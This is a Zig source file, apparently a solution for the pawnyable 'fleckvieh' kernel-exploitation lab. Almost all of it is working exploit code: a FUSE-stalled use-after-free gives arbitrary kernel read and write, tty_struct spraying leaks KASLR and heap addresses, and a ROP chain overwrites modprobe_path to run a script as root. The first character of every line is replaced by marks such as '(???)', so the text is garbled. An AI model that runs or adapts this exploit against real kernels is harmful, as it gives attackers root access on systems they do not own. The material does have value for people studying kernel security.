(???) onst std = @import("std");
 (PNG) ub const std_options = std.Options{
 (???)    .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
 (???)    .logFn = pawnyableLogger,
 (???) ;
 (PNG) ub fn pawnyableLogger(
 (???)    comptime level: std.log.Level,
 (???)    comptime _: @Type(.enum_literal),
 (???)    comptime format: []const u8,
 (???)    args: anytype,
 (???)  void {
 (???)    const prefix = "[" ++ comptime blk: {
 (???)        const level_text = level.asText();
 (???)        var buf: [level_text.len]u8 = undefined;
 (???)        break :blk std.ascii.upperString(&buf, level_text);
 (???)    } ++ "] ";
 (???)    std.debug.lockStdErr();
 (???)    defer std.debug.unlockStdErr();
 (???)    const stderr = std.io.getStdErr().writer();
 (???)    nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
 (???) 
 (???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
 (???)    var bufLE: [len]u8 = undefined;
 (???)    inline for (0..len) |i| bufLE[i] = buf[len-1-i];
 (???)    return bufLE;
 (???) 
 (???) ar __spinlock: bool = false;
       nline fn spin() void {
 (???)    while (true) if (__spinlock) break;
 (???) 
 (???) xport var user_cs: u64 = 0;
 (???) xport var user_ss: u64 = 0;
 (???) xport var user_rsp: u64 = 0;
 (???) xport var user_rflags: u64 = 0;
 (???) n saveState() callconv(.C) void {
 (???)    asm volatile (
 (???)      \\.intel_syntax noprefix
 (???)      \\mov user_cs, cs
 (???)      \\mov user_ss, ss
 (???)      \\.att_syntax
 (???)    );
 (???) 
 (???) n whoami() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
 (???)    const env = [_:null]?[*:0]u8{};
 (???)    switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
 (???)        else => unreachable,
 (???)    }
 (???)    unreachable;
 (???) 
 (???) n modprobePath() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const tmpx = std.fs.cwd().createFile(
 (???)        "/tmp/x", .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    tmpx.writeAll(
 (???)        \\#!/bin/sh
 (???)        \\/usr/bin/whoami &> /tmp/whoisit
 (???)        \\chmod 777 /tmp/whoisit
 (???)    ) catch unreachable;
 (???)    tmpx.close();
 (???)    const unknown = std.fs.cwd().createFile(
 (???)        "/tmp/unknown", .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
 (???)    unknown.close();
 (???)    std.posix.exit(0);
 (???) 
 (???) n corePattern() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const tmpx = std.fs.cwd().createFile(
 (???)        "/tmp/x", .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    tmpx.writeAll(
 (???)        \\#!/bin/sh
 (???)        \\/usr/bin/whoami &> /tmp/whoisit
 (???)        \\chmod 777 /tmp/whoisit
 (???)    ) catch unreachable;
 (???)    tmpx.close();
 (???)    switch (std.posix.fork() catch unreachable) {
 (???)        0 => std.posix.abort(),
 (???)        else => |pid| _ = std.posix.waitpid(pid, 0),
 (???)    }
 (???)    const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
 (???)        std.log.err("Failed to open /tmp/whoisit", .{});
 (???)        std.posix.abort();
 (???)    };
 (???)    defer flag.close();
 (???)    std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
 (???)    std.posix.exit(0);
 (???) 
 (???) n catchSigsegv(comptime handler: *const fn () void) void {
 (???)    const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
 (???)    const sigact = std.posix.Sigaction{
 (???)        .handler = .{ .handler = &wrapper },
 (???)        .mask = std.posix.empty_sigset,
 (???)        .flags = 0,
 (???)    };
 (???)    std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
 (???) 
 (???) onst pinThreadToCore = (struct {
 (???)    const pthread = @cImport({
 (???)        @cDefine("_GNU_SOURCE", {});
 (???)        @cInclude("pthread.h");
 (???)    });
 (???)    fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
 (???)        var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
 (???)        cpu.set(core);
 (???)        const err = pthread.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
 (???)        switch (@as(std.posix.E, @enumFromInt(err))) {
 (???)            .SUCCESS => return,
 (???)            .FAULT => unreachable,
 (???)            .INVAL => return error.InvalidArgument,
 (???)            .SRCH => return error.ProcessNotFound,
 (???)            else => |e| return std.posix.unexpectedErrno(e),
 (???)        }
 (???)    }
 (???) ).pinThreadToCore;
 (???) / as of 5.10.7
 (???) onst tty_struct = extern struct {
 (???)    const ld_semaphore = extern struct {
 (???)        const list_head = extern struct {
 (???)            next: usize = 0xdeadbeefdeadbeef,
 (???)            prev: usize = 0xcafebabecafebabe,
 (???)        };
 (???)        count: u64 = 0,
 (???)        wait_lock: i32 = 0,
 (???)        wait_readers: i32 = 0,
 (???)        read_wait: list_head = .{},
 (???)        write_wait: list_head = .{},
 (???)    };
 (???)    index: i32 = 0,
 (???)    ldisc_sem: ld_semaphore = .{},
 (???)    // don't care about the rest
 (???)    pub fn init(ops_table: usize) tty_struct {
 (???)        // ops_table must live on the heap
 (???)        return .{
 (???)            .driver = ops_table,
 (???)            .ops = ops_table,
 (???)            .ldisc_sem = .{
 (???)                .read_wait = .{ .next = ops_table, .prev = ops_table },
 (???)                .write_wait = .{ .next = ops_table, .prev = ops_table },
 (???)            },
 (???)        };
 (???)    }
 (???) ;
 (???) onst tty_operations = extern struct {
 (???)    close: usize = 0,
 (???)    shutdown: usize = 0,
 (???)    cleanup: usize = 0,
 (???)    write: usize = 0,
 (???)    put_char: usize = 0,
 (???)    flush_chars: usize = 0,
 (???)    write_room: usize = 0,
 (???)    chars_in_buffer: usize = 0,
 (???)    ioctl: usize,
 (???) ;
 (???) onst fleckvieh = struct {
 (???)    pub const ops = enum(u32) {
 (???)        ADD = 0xf1ec0001,
 (???)        DEL = 0xf1ec0002,
 (???)        GET = 0xf1ec0003,
 (???)        SET = 0xf1ec0004,
 (???)    };
 (???)    pub fn ioctl(fd: std.posix.fd_t, op: ops, buf: ?[]u8, id: ?i32) !i32 {
 (???)        if (op != .ADD and id == null) return error.InvalidArgument;
 (???)        const ret = std.os.linux.ioctl(fd, @intFromEnum(op), @intFromPtr(&request_t{ .id = id orelse undefined, .size = if (buf) |b| b.len else undefined, .data = if (buf) |b| @ptrCast(b) else undefined }));
 (???)        switch (std.posix.errno(ret)) {
 (???)            .SUCCESS => return @intCast(@as(i64, @bitCast(ret))),
 (???)            else => |e| return std.posix.unexpectedErrno(e),
 (???)        }
 (???)    }
 (???) ;
 (???) onst request_t = extern struct {
 (???)    id: i32,
 (???)    size: usize,
 (???)    data: [*]u8,
 (???) ;
 (???) onst blob_list = extern struct {
 (???)    const struct_head = extern struct {
 (???)        next: *struct_head,
 (???)        prev: *struct_head,
 (???)    };
 (???)    id: i32,
 (???)    size: usize,
 (???)    data: [*]u8,
 (???)    list: struct_head,
 (???) ;
 (???) ar PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP: u64 = 0xffffffff8109b13a;
 (???) ar MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110850a;
 (???) ar POP_RAX: u64 = 0xffffffff8125a664;
 (???) ar POP_RDI: u64 = 0xffffffff812a7d7c;
 (???) ar KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
 (???) ar MODPROBE_PATH: u64 = 0xffffffff81e37ea0;
 (???) n ropchain(buf: []u8) !usize {
 (???)    const chain = [_]u64{
 (???)        0, // junk
 (???)        POP_RDI,
 (???)        std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
 (???)        POP_RAX,
 (???)        MODPROBE_PATH,
 (???)        MOV_ADDROF_RAX_RDI,
 (???)        KPTI_TRAMPOLINE,
 (???)        0, // junk
 (???)        0, // junk
 (???)        @intFromPtr(&modprobePath),
 (???)        user_cs,
 (???)        user_rflags,
 (???)        user_rsp,
 (???)        user_ss,
 (???)    };
 (???)    @memcpy(buf[0..chain.len*@sizeOf(u64)], std.mem.asBytes(&chain));
 (???)    return std.mem.asBytes(&chain).len;
 (???) 
 (???) n adjust_offsets(kaslr_offset: u64) void {
 (???)    const gadgets = &[_]*u64{
 (???)        &PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP,
 (???)        &MOV_ADDROF_RAX_RDI,
 (???)        &POP_RAX,
 (???)        &POP_RDI,
 (???)        &KPTI_TRAMPOLINE,
 (???)        &MODPROBE_PATH,
 (???)    };
 (???)    for (gadgets) |g| {
 (???)        g.* += kaslr_offset;
 (???)    }
 (???) 
 (???) onst fuse = @import("fuse29.zig");
 (???) n getattrCallback(path: [*:0]const u8, stbuf: ?*std.os.linux.Stat) callconv(.C) i32 {
 (???)    if (std.mem.eql(u8, path[0..4], "/aar") or std.mem.eql(u8, path[0..4], "/aaw") ) {
 (???)        if (stbuf) |st| {
 (???)            st.* = std.mem.zeroInit(std.os.linux.Stat, .{
 (???)                .mode = std.os.linux.S.IFREG | 0o777,
 (???)                .nlink = 1,
 (???)                .size = std.heap.page_size_min,
 (???)            });
 (???)        }
 (???)        return 0;
 (???)    }
 (???)    return -@as(i32, @intCast(@intFromEnum(std.posix.E.NOENT)));
 (???) 
 (???) n openCallback(_: [*:0]const u8, _: ?*fuse.fuse_file_info) callconv(.C) i32 {
 (???)    return 0;
 (???) 
 (???) ar fleck_fd: std.posix.fd_t = undefined;
 (???) ar ttys: [10]std.posix.fd_t = undefined;
 (???) ar victim_id: i32 = undefined;
 (???) ar blob_buf: [1024]u8 = undefined;
 (???) n readCallback(path: [*:0]const u8, buf: [*]u8, size: usize, _: i64, _: ?*fuse.fuse_file_info) callconv(.C) i32 {
 (???)    const ENOENT = -@as(i32, @intCast(@intFromEnum(std.posix.E.NOENT)));
 (???)    if (std.mem.eql(u8, path[0..4], "/aar")) {
 (???)        std.log.debug("Beginning AAR", .{});
 (???)    } else if (std.mem.eql(u8, path[0..4], "/aaw")) {
 (???)        std.log.debug("Beginning AAW", .{});
 (???)        for (0..100) |_| {
 (???)            _ = fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null) catch |err| {
 (???)                std.log.err("blob_add failed with {any}", .{err});
 (???)                return ENOENT;
 (???)            };
 (???)        }
 (???)    } else {
 (???)        std.log.err("Unknown path {s}", .{path});
 (???)        return ENOENT;
 (???)    }
 (???)    _ = fleckvieh.ioctl(fleck_fd, .DEL, null, victim_id) catch |err| {
 (???)        std.log.err("blob_del failed with {any}", .{err});
 (???)        return ENOENT;
 (???)    };
 (???)    for (&ttys) |*tty| {
 (???)        tty.* = std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch unreachable;
 (???)    }
 (???)    @memcpy(buf[0..1024], blob_buf[0..1024]);
 (???)    return @intCast(size);
 (???) 
 (???) onst fops = blk: {
 (???)    var tmp = std.mem.zeroes(fuse.fuse_operations);
 (???)    tmp.getattr = getattrCallback;
 (???)    tmp.open = openCallback;
 (???)    tmp.read = readCallback;
 (???)    break :blk tmp;
 (???) ;
 (???) n fuseThread(fuse_ready: *std.Thread.ResetEvent) void {
 (???)    std.posix.mkdir("/tmp/pwn", 0o777) catch {
 (???)        std.log.err("Could not create /tmp/pwn", .{});
 (???)        return;
 (???)    };
 (???)    var fargs = fuse.fuse_args{};
 (???)    const chan = fuse.fuse_mount("/tmp/pwn", &fargs) orelse {
 (???)        std.log.err("fuse_mount failed", .{});
 (???)        return;
 (???)    };
 (???)    defer fuse.fuse_unmount("/tmp/pwn", chan);
 (???)    const f = fuse.fuse_new(chan, &fargs, &fops, @sizeOf(@TypeOf(fops)), null) orelse {
 (???)        std.log.err("fuse_new failed", .{});
 (???)        return;
 (???)    };
 (???)    _ = fuse.fuse_set_signal_handlers(fuse.fuse_get_session(f));
 (???)    fuse_ready.set();
 (???)    _ = fuse.fuse_loop_mt(f);
 (???) 
 (???) n fusePage(comptime path: []const u8) ![]align(std.heap.page_size_min) u8 {
 (???)    const S = struct {
 (???)        var fd: ?std.posix.fd_t = null;
 (???)    };
 (???)    if (S.fd) |fd| std.posix.close(fd);
 (???)    S.fd = try std.posix.open(path, .{ .ACCMODE = .RDWR }, 0o660);
 (???)    return try std.posix.mmap(
 (???)        null,
 (???)        std.heap.page_size_min,
 (???)        std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
 (???)        std.posix.MAP{ .TYPE = .PRIVATE },
 (???)        S.fd.?,
 (???)        0,
 (???)    );
 (???) 
 (???) n exploit() !void {
 (???)    const kaslr_offset = blk: {
 (???)        const aar_page = try fusePage("/tmp/pwn/aar");
 (???)        defer std.posix.munmap(aar_page);
 (???)        defer for (&ttys) |tty| std.posix.close(tty);
 (???)        victim_id = try fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null);
 (???)        _ = try fleckvieh.ioctl(fleck_fd, .GET, aar_page[0..0x20], victim_id);
 (???)        const ptmx_fops_addr: u64 = 0xffffffff81c3c3c0;
 (???)        break :blk std.mem.bytesAsValue(u64, aar_page[@offsetOf(tty_struct, "ops")..][0..@sizeOf(@FieldType(tty_struct, "ops"))]).* - ptmx_fops_addr;
 (???)    };
 (???)    adjust_offsets(kaslr_offset);
 (???)    std.log.info("Kernel base @ 0x{x}", .{0xffffffff81000000+kaslr_offset});
 (???)    const aar_page = try fusePage("/tmp/pwn/aar");
 (???)    defer std.posix.munmap(aar_page);
 (???)    const heap_leak = blk: {
 (???)        defer for (&ttys) |tty| std.posix.close(tty);
 (???)        victim_id = try fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null);
 (???)        _ = try fleckvieh.ioctl(fleck_fd, .GET, aar_page[0..1024], victim_id);
 (???)        const offset = @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(@FieldType(tty_struct, "ldisc_sem"), "read_wait");
 (???)        break :blk std.mem.bytesAsValue(u64, aar_page[offset..][0..8]).* - offset;
 (???)    };
 (???)    std.log.info("Heap leak = 0x{x}", .{heap_leak});
 (???)    {
 (???)        @memcpy(blob_buf[0..1024], aar_page[0..1024]);
 (???)        const aaw_page = try fusePage("/tmp/pwn/aaw");
 (???)        defer std.posix.munmap(aaw_page);
 (???)        const tty = std.mem.bytesAsValue(tty_struct, &blob_buf);
 (???)        tty.*.magic = 0x5401;
 (???)        tty.*.kref = 0;
 (???)        tty.*.dev = 0;
 (???)        tty.*.driver = heap_leak;
 (???)        tty.*.ops = heap_leak+0x100;
 (???)        // ensure ropchain is far away enough from important tty_struct internals
 (???)        @memcpy(blob_buf[0x100..][0..@sizeOf(tty_operations)], std.mem.asBytes(&tty_operations{ .ioctl = PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP }));
 (???)        _ = try ropchain(blob_buf[0x100..][@sizeOf(tty_operations)..]);
 (???)        victim_id = try fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null);
 (???)        _ = try fleckvieh.ioctl(fleck_fd, .SET, aaw_page[0..1024], victim_id);
 (???)    }
 (???)    for (&ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, heap_leak+0x100+@sizeOf(tty_operations));
 (???) 
 (PNG) ub fn main() !void {
 (???)    {
 (???)        var cpu: std.os.linux.cpu_set_t = @splat(0);
 (???)        cpu[0] = 1;
 (???)        try std.os.linux.sched_setaffinity(std.os.linux.getpid(), &cpu);
 (???)    }
 (???)    catchSigsegv(&modprobePath);
 (???)    saveState();
 (???)    var fuse_ready = std.Thread.ResetEvent{};
 (???)    var t = try std.Thread.spawn(.{}, fuseThread, .{&fuse_ready});
 (???)    try pinThreadToCore(t.getHandle(), 0);
 (???)    t.detach();
 (???)    fuse_ready.wait();
 (???)    fleck_fd = try std.posix.open("/dev/fleckvieh", .{ .ACCMODE = .RDWR }, 0o660);
 (???)    defer std.posix.close(fleck_fd);
 (???)    try exploit();
 (???)    std.log.debug("Wat", .{});
 (???) 
 (???) onst DEBUG = "";